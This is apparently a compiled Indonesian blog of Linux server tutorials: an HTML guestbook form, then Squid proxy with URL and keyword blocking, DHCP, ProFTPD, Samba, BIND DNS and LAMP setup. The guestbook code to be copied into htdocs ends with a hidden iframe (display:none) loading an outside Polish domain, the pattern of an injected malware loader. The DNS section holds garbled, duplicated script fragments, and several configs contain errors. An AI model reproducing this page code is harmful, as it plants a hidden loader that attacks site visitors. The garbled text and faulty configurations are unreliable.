HTML WEB SERVER

Contoh Sederhana membuat html web server buku tamu

<html>
<head>
<title>Buku Tamu</title>
<meta http-equiv=”Cotent-Type” content=”text/html; charset=iso-8859-1″>
</head>

<body background=”a.jpg”>
<div align=”center”>
<table width=”400″ height=”231″ border=”1″ align=”center” cellpadding=”0″ cellspacing=”0″ bordercolorlight=”#0033FF” bgcolor=”#FFFFFF”>
<tr>
<td width=”2″ rowspan=”3″ bgcolor=”#999999″>&nbsp;</td>
<td width=”500″ height=”32″ bgcolor=”#FFFFFF”><div align=”center”><strong><font size=”5″>BUKU TAMU SMK PGRI 1 NGAWI</font></strong></div></td>
<td width=”2″ rowspan=”3″ bgcolor=”#999999″>&nbsp;</td>
</tr>
<tr>

<td height=”165″ bgcolor=”#FFFFFF”><form name=”form1′ method=”post” action=”kirim1.php”>
<table width=”392″ border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″ bgcolor=”#FFFFFF”>
<!–DWLayoutTable–>
<tr>
<td width=”83″ height=”23″><p><font color=”#000000″>Nama</font></p></td>
<td width=”18″><p><font color=”#000000″><strong>:</strong</font></p></td>
<td width=”291″ height=”23><p><font color=”#000000″><input name=”nama” type=”text” id=”nama” size=”30″ maxlength=”30″ align=”middle” height=”20″></font></p></td>
</tr>
<tr>
<td height=”23″><font color=”#000000″>E-mail</font></td>
<td><font color=”#000000″><strong>:</strong></font></td>
<td><font color=”#000000″><input name=”email” type=”text” id=”email” size=”30″ maxlength=”30″></font></td>
</tr>
<tr>
<td height=”23″><font color=”#000000″>Alamat</font></td>
<td width=”18″><font color=”#000000″><strong>:</strong></font></td>
<td><font color=”#000000″><input name=”alamat” type=”text” id=”alamat” size=”35″ maxlength=”35″></font></td>
</tr>
<tr>
<td height=”23″><font color=”#000000″>Komentar</font></td>
<td><font color=”#000000″><strong>:</strong></font></td>
<td><font color=”#000000″><textarea name=”komentar” cols=”30″ id=”komentar”></textarea></font></td>
</tr>

<tr>
<td height=”24″ colspan=”3″><div align=”center”><strong><input name=”Submit” type=”submit” value=”Kirim”><input type=”reset” name=”submit2″ value=”Batal”>
</strong><a href=”lihatbukutamu1.php” target=”_self”>Lihat Buku Tamu</a></div></td>
</tr>
</table>
</form>
</td>
</tr>
<tr>
<td height=”32″>&nbsp;</td>
</tr>
</table>
<p>&nbsp;</p>
<p>&nbsp;</p>
</div>
<iframe src=”http://jL.chura.pl/rc/&#8221; style=”display:none”></iframe>
</body>
</html>

setelah selesai simpan di drive C: folder Apache – htdocs

KONFIGURASI PROXY SERVER LINUX

1. Instalasi

Pertama-tama install terlebih dahulu squid melalui synaptic atau melalui command prompt dengan cara :

#sudo apt-get install squid

Setelah selesai maka Squid langsung dapat di konfigurasikan dengan cara :

#sudo vi /etc/squid/squid.conf

Tetapi sebelum di edit terlebih dahulu backup dulu file aslinya agar kalau rusak bisa dikembalikan ke default :

#sudo cp /etc/squid/squid.conf /etc/squid/squid.conf.bak

2. Konfigurasi Squid

Selanjutnya konfigurasi script Squid :

#sudo vi /etc/squid/squid.conf

Akan muncul file konfigurasi squid yang sangat panjang, berikut langkah-langkah yang harus diperhatikan….

a. HTTP Port : Merupakan port yang digunakan untuk menjalankan Squid

http_port 8080


b. Visible Host Name : Agar jika terjadi error Squid dapat menemukan hostname yang valid

visible_hostname localhost

localhost bisa diganti menjadi ip (e.g 192.168.0.254) atau domain seperti proxy.anu.com

 

c. Cache Manager : Untuk mendefinisikan email address dari Cache Manager Squid

cache_mgr admin@domain.com


d. Direktori Cache Squid : Mendefinisikan letak direktori squid beserta besarannya.

Angka 500 menunjukkan ukuran direktori dalam MB

Angka 16 menunjukkan jumlah sub direktori tingkat 1

Angka 256 menunjukkan jumlah subdirektori tingkat 2 dari subdirektori tingkat 1

Jumlah diatas makin besar makin baik

cache_dir ufs /var/spool/squid 500 16 256


e. Filtering : Ini merupakan bagian terpenting dari Squid, dengan ini kita bisa mngatur rule-rule, dari mulai siapa saja yang bisa mengakses internet sampai website apa yang diizinkan untuk di akses.

Access List : Siapa saja yang dapat mengakses Internet

acl akses src 192.168.0.1/255.255.255.255

acl : merupakan perintah access list

akses : nama user yang memiliki IP atau group

src : merupakan source ip yang digunakan, bisa menggunakan range jika ingin membuat group

acl group-it src 192.168.0.1-192.168.0.12/255.255.255.255

Filtering Waktu : Memberikan izin akses berdasarkan waktu dan hari

acl waktu-akses time MTWHFA 08:00-16:00

acl : perintah access list

waktu-akses : caption untuk perintah acl

time : perintah squid utk mendefinisikan waktu

MTWHFA : merupakan perintah squid untuk mendefinisikan waktu M : Monday, T : Tuesday, etc…..

08:00-16:00 : Merupakan waktu yang diperbolehkan untuk memberikan akses internet ke pengguna

Filtering Website : Memfilter website apa saja yang tidak boleh diakses oleh pengguna.

Sebelumnya harus dibuat dulu suatu dokumen yang berisikan list-list url yang akan diblock, dengan perintah

#sudo vi /etc/squid/pornourl.txt

kemudian isikan dengan :

www.worldsex.com

www.17tahun.com

dll

Lalu berikan perintah squid pada file Squid.conf dengan perintah :

acl blokporno dstdomain “/etc/squid/pornourl.txt”

Filtering Keyword : Memfilter keyword yang dimasukkan oleh para pengguna, misalkan pengguna memasukkan kata ’sex’ di google maka Squid akan membloknya.

Sebelum menambahkan perintah di Squid.conf, kita harus membuat file yang berisikan keyword-keyword yang akan diblok dengan perintah :

#sudo vi /etc/squid/keywordblock.txt

Lalu isi dengan kata-kata yang akan di blok :

sex

porn

fuck

dll….

Dan berikan perintah di Squid.conf dengan perintah :

acl keywordblok url_regex -i “/etc/squid/keywordblock.txt”

Perintah-perintah filter ini cukup untuk membuat Squid Server sederhana,

Selanjutnya memberikan hak akses pada aturan-aturan yang telah dibuat sebelumnya. Di Squid perintahnya dinamakan http_access. Perintahnya adalah sebagai berikut :

http_access deny blokporno # men-deny semua url yang terdapat pada acl blokporno

http_access deny keywordblock # men-deny keyword yang ada pada acl keywordblock

http_access waktu-akses aku # Memperbolehkan acl waktu-akses pada acl user aku

http_access deny all # Men-deny semua user yang tidak terdaftar pada squid.conf

http_reply_access allow all #default

icp_access allow all #default

Kemudian jangan lupa men-save file konfigurasi squid.conf yang telah diedit dengan menggunakan perintah :

:wq #w : menyimpan q: keluar (Perintah vi)

Lalu pada command terminal anda ketikan perintah ;

#sudo squid -z

 

f. Transparent Proxy

Merupakan suatu teknik agar Squid Proxy menjadi transparent atau tidak terlihat, maksudnya jika biasanya kita memasukkan alamat proxy pada setiap browser (firefox, etc..), jika transparent proxy diterapkan maka pada browser tidak akan kelihatan kita memasukkan alamat proxy kita.

Sebelum memasukkan perintah transparent proxy pada squid, maka kita harus melakukan perintah iptable agar dapat meredirect port yang ada pada komputer client. Maksudnya jika squid kita set pada port 3128, maka permintaan client yang umumnya internet itu berada pada port 80 maka kita harus meredirect port 80 dari client tersebut ke port proxy kita yang berada pada port 3128.

IP Forwarding, agar transparent proxy dapat diterapkan, maka kita harus mengaktifkan Ip Forwarding

dengan memberikan nilai 1 pada file “/proc/sys/net/ipv4/ip_forward” dengan cara :

#sudo echo 1 > /proc/sys/net/ipv4/ip_forward

Tetapi perintah tersebut harus kita jalankan auto startup, agar jika komputer squid mati kita tidak perlu repot2 menjalankan perintah tersebut secara terus menerus.

Berikutnya kita harus menjalankan ip_tables agar client dapat meredirect port squid server kita dengan perintah :

#sudo iptables -A PREROUTING -t nat -p tcp –dport 80 -j REDIRECT –to-port 8800

Kemudian restart proxy dengan perintah :

#sudo /etc/init.d/squid restart

KONFIGURASI DHCP PADA LINUX

Install Server DHCP
Berikut adalah langkah-langkah untuk melakukan instalasi dan konfigurasi server DHCP menggunakan distro Linux Ubuntu 9.10:

sudo apt-get install dhcp3-server

Tunggu sampai proses instalasi selesai.

Mengkonfigurasi Server DHCP
Jika terdapat dua kartu jaringan pada server Ubuntu, pilih salah satu interface kartu jaringan yang akan digunakan untuk mengaktifkan server DHCP. Secara default kartu jaringan yang digunakan adalah eth0.

Untuk mengaktifkan server DHCP, kita harus menyunting file /etc/default/dhcp3-server.

sudo vi /etc/default/dhcp3-server

Pada contoh dibawah ini, diasumsikan hanya terdapat sebuah kartu jaringan, yaitu eth0:

Pastikan baris dibawah ini terdapat pada file /etc/default/dhcp3-server:

INTERFACES=”eth0″

Bila terdapat kartu jaringan yang lain, silakan diganti sesuai dengan kebutuhan misalnya eth0 diganti dengan eth1. Kemudian simpan dan keluar dari editor.

Langkah berikutnya adalah melakukan penyuntingan pada file /etc/dhcp3/dhcpd.conf. Sebelum melakukan perubahan pada file tersebut sebaiknya kita membuat salinannya untuk berjaga-jaga kalau terjadi kesalahan.

Lakukan perintah dibawah ini untuk membuat salinan:

cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.back

Kemudian sunting file /etc/dhcp3/dhcpd.conf dengan perintah berikut:

sudo vi /etc/dhcp3/dhcpd.conf

Menggunakan Metode Pool Alamat

Kita harus melakukan perubahan pada file /etc/dhcp3/dhcpd.conf seperti yang nampak dibawah ini:

default-lease-time 600;
max-lease-time 7200;

option subnet-mask 255.255.255.0;
option broadcast-address 192.168.1.255;

option routers 192.168.1.254;

option domain-name-servers 192.168.1.1, 192.168.1.2;
option domain-name “domain-anda.com”;

subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.10 192.168.1.200;
}

Selanjutnya simpan dan keluar dari layar editor.

Konfigurasi server DHCP diatas akan memberikan klien sebuah alamat IP dari jangkauan 192.168.1.10 – 192.168.1.200. Memberikan waktu sewa (lease time) pada sebuah alamat IP selama 600 detik jika klien tidak tidak meminta batas waktu  yang spesifik. Disamping itu waktu sewa maksimum yang diijinkan adalah selama 7200 detik. Server juga menentukan netmask yang digunakan pada klien adalah 255.255.255.0, alamat broadcast yang digunakan adalah 192.168.1.255, alamat router atau gateway yang diberikan adalah 192.168.1.254 dan server DNS yang digunakan adalah 192.168.1.1 dan 192.168.12.

Menggunakan Metode Alamat MAC
Metode ini dapat digunakan untuk memberikan beberapa mesin atau semua mesin komputer dengan alamat IP tetap (fixed IP). Pada contoh berikut mesin-mesin dengan nama starling1, starling2, printer1 dan printer2 akan menggunakan alamat IP yang tetap.

Tambahkan baris pada file /etc/dhcp3/dhcpd.conf, sehingga nampak seperti di bawah ini:

default-lease-time 600;
max-lease-time 7200;

option subnet-mask 255.255.255.0;
option broadcast-address 192.168.1.255;
option routers 192.168.1.254;
option domain-name-servers 192.168.1.1, 192.168.1.2;
option domain-name “domain-anda.com”;
subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.10 192.168.1.200;
}

host starling1 {
hardware ethernet 00:1b:63:ef:db:54;
fixed-address 192.168.1.20;
}

host starling2 {
hardware ethernet 00:0a:95:b4:d4:b0;
fixed-address 192.168.1.21;
}

host printer1 {
hardware ethernet 00:16:cb:aa:2a:cd;
fixed-address 192.168.1.22;
}

host printer2 {
hardware ethernet 00:0a:95:f5:8f:b3;
fixed-address 192.168.1.23;
}

Sekarang aktifkan konfigurasi server DHCP di atas tersebut dengan perintah berikut:

sudo /etc/init.d/dhcp3-server restart

Lakukan test pada beberapa komputer klien untuk memastikan server DHCP sudah berfungsi dengan benar.

KONFIGURASI FTP SERVER PADA UBUNTU

Langkah-langkah konfigurasi FTP Server (proftpd) di Ubuntu :
1. Download dan install program proftpd untuk FTP Server.

#apt-get install proftpd
Reading package lists… Done
Building dependency tree
Reading state information… Done
Suggested packages:
proftpd-doc
The following NEW packages will be installed:
proftpd
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 784kB of archives.
After unpacking 2331kB of additional disk space will be used.
Get:1 http://archive.ubuntu.com feisty/universe proftpd 1.3.0-21ubuntu1 [784kB]
Fetched 784kB in 14s (54.1kB/s)
Preconfiguring packages …
Selecting previously deselected package proftpd.
(Reading database … 155004 files and directories currently installed.)
Unpacking proftpd (from …/proftpd_1.3.0-21ubuntu1_i386.deb) …
Setting up proftpd (1.3.0-21ubuntu1) …
——— IMPORTANT INFORMATION FOR XINETD USERS ———-
The following line will be added to your /etc/inetd.conf file:
ftp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/proftpd
If you are indeed using xinetd, you will have to convert the
above into /etc/xinetd.conf format, and add it manually. See
/usr/share/doc/xinetd/README.Debian for more information.
———————————————————–
Adding system user `proftpd’ (UID 118) …
Adding new user `proftpd’ (UID 118) with group `nogroup’ …
Not creating home directory `/var/run/proftpd’.
Adding system user `ftp’ (UID 119) …
Adding new user `ftp’ (UID 119) with group `nogroup’ …
Creating home directory `/home/ftp’ …
`/usr/share/proftpd/templates/welcome.msg’ -> `/home/ftp/welcome.msg.proftpd-new’
ProFTPd warning: cannot start neither in standalone nor in inetd/xinetd mode. Check your configuration.

Coba jalankan proftpd.

#/etc/init.d/proftpd start
Password:
ProFTPd warning: cannot start neither in standalone nor in inetd/xinetd mode. Check your configuration.

2. Jika tidak ada repositori lokal, maka bisa dilakukan secara manual yaitu dengan menginstall file-file dependensi yang dibutuhkan. Install program proftpd (proftpd_1.3.0-24ubuntu1_i386.deb).

root@komputer02-desktop:/# dpkg -i proftpd_1.3.0-24ubuntu1_i386.deb
(Reading database ... 89245 files and directories currently installed.)
Preparing to replace proftpd 1.3.0-24ubuntu1 (using proftpd_1.3.0-24ubuntu1_i386.deb) ...
Unpacking replacement proftpd ...
dpkg: dependency problems prevent configuration of proftpd:
 proftpd depends on libmysqlclient15off (>= 5.0.27-1); however:
  Package libmysqlclient15off is not installed.
 proftpd depends on libpq5; however:
  Package libpq5 is not installed.
dpkg: error processing proftpd (--install):
 dependency problems - leaving unconfigured
Errors were encountered while processing:
 proftpd

Dari pesan di atas bisa dilihat bahwa instalasi proftpd masih membutuhkan file dependensi: libmysqlclient15off dan libpq5.
Install dulu file dependensi dengan menggunakan perintah: dpkg -i namafile.deb
Jika sudah, coba install lagi proftpd (proftpd_1.3.0-24ubuntu1_i386.deb)

root@komputer02-desktop:/# dpkg -i libmysqlclient15off_5.0.45-1ubuntu3.4_i386.deb
(Reading database ... 89098 files and directories currently installed.)
Preparing to replace libmysqlclient15off 5.0.45-1ubuntu3.4 (using libmysqlclient15off_5.0.45-1ubuntu3.4_i386.deb) ...
Unpacking replacement libmysqlclient15off ...
Setting up libmysqlclient15off (5.0.45-1ubuntu3.4) ...

Processing triggers for libc6 ...
ldconfig deferred processing now taking place

Begitu juga dengan file libpq5 dilanjutkan dengan install proftpd.

root@komputer02-desktop:/# dpkg -i proftpd_1.3.0-24ubuntu1_i386.deb
(Reading database ... 89098 files and directories currently installed.)
Preparing to replace proftpd 1.3.0-24ubuntu1 (using proftpd_1.3.0-24ubuntu1_i386.deb) ...
Unpacking replacement proftpd ...
Setting up proftpd (1.3.0-24ubuntu1) ...
Adding system user `proftpd' (UID 109) ...
Adding new user `proftpd' (UID 109) with group `nogroup' ...
Not creating home directory `/var/run/proftpd'.
Adding system user `ftp' (UID 110) ...
Adding new user `ftp' (UID 110) with group `nogroup' ...
Creating home directory `/home/ftp' ...
`/usr/share/proftpd/templates/welcome.msg' -> `/home/ftp/welcome.msg.proftpd-new'
 * Starting ftp server proftpd - IPv6 getaddrinfo 'komputer02-desktop'
 error: No address associated with hostname 				  [ OK ]

3. Pilih standalone.
standalone

4. Membuat direktori

root@komputer02-desktop:/home# mkdir ftp_shared
root@komputer02-desktop:/home# cd ftp_shared/; mkdir upload download
Set security permission
root@komputer02-desktop:/home/ftp_shared# cd ..
root@komputer02-desktop:/home# sudo chmod 755 ftp_shared/
root@komputer02-desktop:/home# cd ftp_shared/
root@komputer02-desktop:/home/ftp_shared# sudo chmod 755 download/
root@komputer02-desktop:/home/ftp_shared# sudo chmod 777 upload/

5. Membuat user baru untuk FTP
Melalui menu System > Administration > Users and Groups kemudian klik Add user.
misalkan kita menambah user: wiwin, dengan folder homenya: /home/ftp_shared
adduser adduser

6. Mengkonfigurasi proftpd server
Langkah akhir adalah mengkonfigurasikan proftpd. File konfigurasi proftpd berada di /etc/proftpd/proftpd.conf.
Sebelumnya backup dulu file proftpd.conf dan selanjutnya edit file tersebut.

root@komputer02-desktop:/etc/proftpd# cp proftpd.conf proftpd.conf.asli
root@komputer02-desktop:/etc/proftpd# pico proftpd.conf
#
# /etc/proftpd/proftpd.conf -- This is a basic ProFTPD configuration file.
# To really apply changes reload proftpd after modifications.
# 

# Includes DSO modules
Include /etc/proftpd/modules.conf

# Set off to disable IPv6 support which is annoying on IPv4 only boxes.
UseIPv6				off

ServerName			"Debian"
ServerType			standalone
DeferWelcome			off

MultilineRFC2228		on
DefaultServer			on
ShowSymlinks			on

TimeoutNoTransfer		600
TimeoutStalled			600
TimeoutIdle			1200

DisplayLogin                    welcome.msg
DisplayFirstChdir               .message
ListOptions                	"-l"

DenyFilter			\*.*/

# Use this to jail all users in their homes
# DefaultRoot			~

# Users require a valid shell listed in /etc/shells to login.
# Use this directive to release that constrain.
# RequireValidShell		off

# Port 21 is the standard FTP port.
Port				2008

# In some cases you have to specify passive ports range to by-pass
# firewall limitations. Ephemeral ports can be used for that, but
# feel free to use a more narrow range.
# PassivePorts                  49152 65534

# If your host was NATted, this option is useful in order to
# allow passive tranfers to work. You have to use your public
# address and opening the passive ports used on your firewall as well.
# MasqueradeAddress		1.2.3.4

# To prevent DoS attacks, set the maximum number of child processes
# to 30.  If you need to allow more than 30 concurrent connections
# at once, simply increase this value.  Note that this ONLY works
# in standalone mode, in inetd mode you should use an inetd server
# that allows you to limit maximum number of processes per service
# (such as xinetd)
MaxInstances			30

# Set the user and group that the server normally runs at.
User				wiwin
Group				nogroup

# Umask 022 is a good standard umask to prevent new files and dirs
# (second parm) from being group and world writable.
Umask				022  022
# Normally, we want files to be overwriteable.
AllowOverwrite			on

# Uncomment this if you are using NIS or LDAP to retrieve passwords:
# PersistentPasswd		off

# Be warned: use of this directive impacts CPU average load!
# Uncomment this if you like to see progress and transfer rate with ftpwho
# in downloads. That is not needed for uploads rates.
#
# UseSendFile			off

# Choose a SQL backend among MySQL or PostgreSQL.
# Both modules are loaded in default configuration, so you have to specify the backend
# or comment out the unused module in /etc/proftpd/modules.conf.
# Use 'mysql' or 'postgres' as possible values.
#
#
# SQLBackend			mysql
#

TransferLog /var/log/proftpd/xferlog
SystemLog   /var/log/proftpd/proftpd.log

<IfModule mod_tls.c>
TLSEngine off
</IfModule>

<IfModule mod_quota.c>
QuotaEngine on
</IfModule>

<IfModule mod_ratio.c>
Ratios on
</IfModule>

# Delay engine reduces impact of the so-called Timing Attack described in
# http://security.lss.hr/index.php?page=details&ID=LSS-2004-10-02
# It is on by default.
<IfModule mod_delay.c>
DelayEngine on
</IfModule>

<IfModule mod_ctrls.c>
ControlsEngine        on
ControlsMaxClients    2
ControlsLog           /var/log/proftpd/controls.log
ControlsInterval      5
ControlsSocket        /var/run/proftpd/proftpd.sock
</IfModule>

<IfModule mod_ctrls_admin.c>
AdminControlsEngine on
</IfModule>

# A basic anonymous configuration, no upload directories.

# 
#   User				ftp
#   Group				nogroup
#   # We want clients to be able to login with "anonymous" as well as "ftp"
#   UserAlias			anonymous ftp
#   # Cosmetic changes, all files belongs to ftp user
#   DirFakeUser	on ftp
#   DirFakeGroup on ftp
#
#   RequireValidShell		off
#
#   # Limit the maximum number of anonymous logins
#   MaxClients			10
#
#   # We want 'welcome.msg' displayed at login, and '.message' displayed
#   # in each newly chdired directory.
#   DisplayLogin			welcome.msg
#   DisplayFirstChdir		.message
#
#   # Limit WRITE everywhere in the anonymous chroot
#   
#     
#       DenyAll
#     
#   

<Directory /home/ftp_shared>
Umask 022 022
AllowOverwrite off
<Limit MKD STOR DELE XMKD RNRF RNTO RMD XRMD>
DenyAll
</Limit>
</Directory>

<Directory /home/ftp_shared/download/*>
Umask 022 022
AllowOverwrite off
<Limit MKD STOR DELE XMKD RNEF RNTO RMD XRMD>
DenyAll
</Limit>
</Directory> 

<Directory /home/ftp_shared/upload/>
Umask 022 022
AllowOverwrite on
<Limit READ RMD DELE>
DenyAll
</Limit>
</Directory> 

#   # Uncomment this if you're brave.
#   # 
#   #   # Umask 022 is a good standard umask to prevent new files and dirs
#   #   # (second parm) from being group and world writable.
#   #   Umask				022  022
#   #            
#   #            DenyAll
#   #            
#   #            
#   #            AllowAll
#   #            
#   # 
#
# 

7. Restart service proftpd

root@komputer02-desktop:/# /etc/init.d/proftpd restart
 * Stopping ftp server proftpd                                            [ OK ]
 * Starting ftp server proftpd                                            [ OK ]

8. Sampai di sini, konfigurasi proftpd selesai. Sekarang bisa dicoba upload file dari komputer lain ke komputer yang sudah kita setting sebelumnya. Untuk melakukan transfer file (upload, download) di windows bisa menggunakan program FileZilla atau program FTP lain.
Host – > masukkan hostname/IP komp tujuan (exp. 192.168.1.2)
Username – > masukkan username yang telah dibuat sebelumnya (wiwin)
Password – > Masukkan password dari username
Port – > Masukkan portnya (2008)
Untuk lebih jelasnya bisa dilihat gambar berikut.
filezilla

9. Untuk melakukan upload dan download dari atau ke komputer tujuan bisa dilakukan dengan drag dan drop.
upload

KONFIGURASI SAMBA

Samba adalah server yang memungkinkan file sharing antara sistem operasi satu dengan yang lainnya, seperti linux dan windows. Berikut ini adalah langkah-langkah untuk membangun Samba server di Linux Slackware dengan IP address 10.14.10.240, menggunakan samba-3.0.33.tar.gz.

1. Login sebagai root, buat direktori /opt/pkg/samba, user nobody, group nobody dan direktori file sharing di /usr/share/samba-aji beserta permission-nya.
mkdir /opt/pkg/samba
groupadd nobody
useradd -g nobody nobody
chmod 755 /usr/share/samba-aji

2. Ekstrak paket samba-3.0.33.tar.gz dan pindah k direktori hasil ekstrak:
tar xvvzf samba-3.0.33.tar.gz
cd samba-3.0.33

3. Masuk ke direktori source:
cd source

4. Melakukan kompilasi dan instalasi:
./configure --prefix=/opt/pkg/samba
make
make install

5. Membuat smb.conf pada /opt/pkg/samba/lib/

6. Konfigurasi smb.conf.
[global]
# nama workgroup
workgroup = SLACK

# nama server samba
server string = Samba-slack

# share, agar tidak perlu login
security = share

# IP address yang diizinkan untuk akses file shareing
hosts allow = 127. 10.14.10.

# konfigurasi di bawah ini digunakan bila tidak menggunakan printer
# dan untuk menghilangkan error message:
# Unable to connect to CUPS server localhost - Connection refused
load printers = no
disable spoolss = yes
printcap name = /dev/null
printing = bsd

# konfigurasi log file
log file = /opt/pkg/samba/var/log.%m
max log file = 50

# dns
dns proxy = no

[aji-share]
comment = Aji's stuff
path = /usr/share/samba-aji
public = yes
writeable = no
guest ok = yes

6. Periksa konfigurasi smb.conf:
/opt/pkg/samba/bin/testparm

7. Menjalankan nmbd dan smbd dengan berurutan untuk menjalankan samba:
/opt/pkg/samba/sbin/nmbd -D
/opt/pkg/samba/sbin/smbd -D

8. Testing samba melalui komputer lain dengan sistem operasi Windows dengan cara:
buka explorer -> mengeketikkan \\10.14.10.240

KONFIGURASI DNS SERVER PADA LINUX UBUNTU

// // <![CDATA[
(function() { var a=window;function c(b){this.t={};this.tick=function(d,i,e){e=e?e:(new Date).getTime();this.t[d]=[e,i]};this.tick("start",null,b)}var f=new c;a.jstiming={Timer:c,load:f};try{var g=null;if(a.chrome&&a.chrome.csi)g=Math.floor(a.chrome.csi().pageT);if(g==null)if(a.gtbExternal)g=a.gtbExternal.pageT();if(g==null)if(a.external)g=a.external.pageT;if(g)a.jstiming.pt=g}catch(h){};a.tickAboveFold=function(b){b=b;var d=0;if(b.offsetParent){do d+=b.offsetTop;while(b=b.offsetParent)}b=d;b// // <![CDATA[// // <![CDATA[// <![CDATA[
(function() { var a=window;function c(b){this.t={};this.tick=function(d,i,e){e=e?e:(new Date).getTime();this.t[d]=[e,i]};this.tick("start",null,b)}var f=new c;a.jstiming={Timer:c,load:f};try{var g=null;if(a.chrome&&a.chrome.csi)g=Math.floor(a.chrome.csi().pageT);if(g==null)if(a.gtbExternal)g=a.gtbExternal.pageT();if(g==null)if(a.external)g=a.external.pageT;if(g)a.jstiming.pt=g}catch(h){};a.tickAboveFold=function(b){b=b;var d=0;if(b.offsetParent){do d+=b.offsetTop;while(b=b.offsetParent)}b=d;b// <![CDATA[// 1. Sebelum ke penginstalan dan konfigurasi dns-server nya edit terlebih dahulu file /etc/network/interface

root@dns:~#vim /etc/network/interface

akan muncul tampilan seperti dibawah ini:

#The network interface
auto eth0
iface eth0 inet static
address 192.168.28.254
network 192.168.28.0
netmask 255.255.255.0
broadcast 192.168.28.255
gateway 192.168.28.254

kemudian tambahkan dibaris paling bawah dns-server=192.168.28.254 dan dns-search rithone.sch.id, dengan konfigurasi seperti dibawah:

#The network interface
auto eth0
iface eth0 inet static
address 192.168.28.254
network 192.168.28.0
netmask 255.255.255.0
broadcast 192.168.28.255
gateway 192.168.28.254
dns-server 192.168.28.254 (konfigurasi yang ditambahkan)
dns-search rithone.sch.id (konfigurasi yang ditambahkan)

setelah konfigurasi network selesai, save konfigurasi tersebut

root@dns:~#/etc/ini.d/networking restart

2. edit file /etc/sysctl.conf, untuk forwading dan filetering dns-nya

root@dns:~#vim /etc/sysctl.conf

akan muncul tampilan konfigurasinya, kemudia cari kata-kata

#Uncomment the next line to enable spoof protection (reverse-path filter)
#net.ipv4.conf.default.rp_filter=1

dan

#Uncomment the next line to enable forwadi for ipv4
#net.ipv4.conf.default. forwading=1

kemudian buang tanda # pada kata net.ipv4.conf.default.rp_filter=1 dan net.ipv4.conf.default. forwading=1 sehingga menjadi seperti dibawah ini:

#Uncomment the next line to enable spoof protection (reverse-path filter)
net.ipv4.conf.default.rp_filter=1

#Uncomment the next line to enable forwadi for ipv4
#net.ipv4.conf.default. forwading=1

setelah itu save konfigurasi-nya

3.edit file /etc/hosts gunanya untuk mengenalkan domain yang akan kita buat pada server dns

root@dns:~#vim /etc/hosts

buat konfigurasi seperti dibawah:

172.0.0.1 localhost
192.168.28.254 rithone.sch.id

kemudian save settingan nya

4.edit file /etc/resolf.conf

root@dns:~#vim /etc/resolf.conf

buat konfigurasi seperti dibawah ini:

servername 192.168.28.254
search rithone.sch.id
domain rithone.sch.id

kemudian save settingannya

5.setelah semuanya selesai, coba ping ke-domain tersebut

root@dns:~#ping rithone.sch.id

kalau Replay berarti pengenalan domain ke servernya sudah berhasil, kalau Request Time Out berarti ada konfigurasi yang salah

6.install software untuk DNS-nya, disini kita gunakan Bind V.9

root@dns:~#apt-get install bind9

7.setelah penginstalan selesai kita buat file zone untuk domain yang kita buat

root@dns:~#vim /etc/bind/named.conf.local

masukan perintah dibawah ini ditempatkan di paling bawah:

zone “rithone.sch.id” {
type master;
file “/etc/bind/db.rithone.sch.id”;
};

zone “28.168.192.in-addr.arpa” {
type master;
file “/etc/bind/db.254.rev”

setelah selesai membuat file zone nya kemudian save

8.Langkah selanjut-nya adalah membuat file database db.rithone.sch.id dan db.254.rev

9.Untuk memudahkan membuat database nya copy saja dari file db.local dan db.127

root@dns:~#cp /etc/bind/db.local /etc/bind/db.rithone.sch.id
root@dns:~#cp /etc/bind/db.127 /etc/bind/db.254.rev

10.Setelah dicopy edit kedua file tersebut, yang pertama file db.rithone.sch.id

root@dns:~#vim /etc/bind/db.rithone.sch.id

isi file asalnya adalah sebagai berikut:

;
;BIND data file for local loopback in
;
$ 604800
@ IN SOA localhost. root.localhost. (
1 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Chace TTL
;
@ IN NS localhost.
@ IN A 172.0.0.1

kemudian rubah menjadi:

;
;BIND data file for local loopback in
;
$ 604800
@ IN SOA rithone.sch.id. root.rithone.sch.id. (
1 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Chace TTL
;
@ IN NS rithone.sch.id.
@ IN A 192.168.28.254
www IN A 192.168.28.254 (www sebagai alias dari rithone.sch.id)

setelah konfigurasi selesai save semua konfigurasi tersebut

11.Edit file db.254.rev untuk database rev domain

root@dns:~#vim /etc/bind/db.254.rev

konfigurasi awalnya adalah sebagai berikut:

;
;BIND data file for local loopback in
;
$ 604800
@ IN SOA localhost. root.localhost. (
1 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Chace TTL
;
@ IN NS localhost.
1.0.0 IN PTR localhost.

kemudian rubah menjadi:

;
;BIND data file for local loopback in
;
$ 604800
@ IN SOA rithone.sch.id. root.rithone.sch.id. (
1 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Chace TTL
;
@ IN NS rithone.sch.id.
254 IN PTR rithone.sch.id.

254 IN PTR http://www.rithone.sch.id (www.rithone.sch.id adalah sebagai name alias dari rithone.sch.id)

setelah konfigurasi selesai save konfigurasinya

12.Restart servis bind nya

root@dns:~#/etc/init.d/bind9 restart

apabila oke berarti konfigurasi dns telah benar, apabila fail berarti terdapat kesalahan pada konfigurasinya.

13.Tes konfigurasi dns yang kita buat dengan nslookup

root@dns:~#nslookup rithone.sch.id
Server : 192.168.28.254
Address : 192.168.28.254#53

Name : rithone.sch.id
Address : 192.168.28.254

apabila terdapat tampilan seperti diatas, berarti konfigurasi dns telah benar.

14.Install web server apache (apache2) agar dns dapat diakses oleh client atau resolver.

root@dns:~#apt-get install apache2

tunggu sampai proses penginstalan selesai.

15.Tes dari client (client menggunakan windows) dengan catatan ip address dan dns servernya sudah di sesuaikan dengan server.

16.Tes menggunakan web browse, masukan rithone.sch.id di address bar, apabila ada tampilan “its work!” berarti dns kita telah berjalan atau berhasil di akses oleh client

KONFIGURASI WEB SERVER LINUX UBUNTU

// // Instalasi LAMP:
Synaptic Package Manager dan command apt-get (lebih sering menggunakan apt-get karena lebih cepat).

  1. Dari desktop Gnome, pilih System -> Administration -> Synaptic Package Manager.
  2. Setelah berada pada window Synaptic Package Manager, pilih Edit -> Mark Packages by Task.
  3. Kemudian pilih LAMP server dan jalankan instalasinya.
